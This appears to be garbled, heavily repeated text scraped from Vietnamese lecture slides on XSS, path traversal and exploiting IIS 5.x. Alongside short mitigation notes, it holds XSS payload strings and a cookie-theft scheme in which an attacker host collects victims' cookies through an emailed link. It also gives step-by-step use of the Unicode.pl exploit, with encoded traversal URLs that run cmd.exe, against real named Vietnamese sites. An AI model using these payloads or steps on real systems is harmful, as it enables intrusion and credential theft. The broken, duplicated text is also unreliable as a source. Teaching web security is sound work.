B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
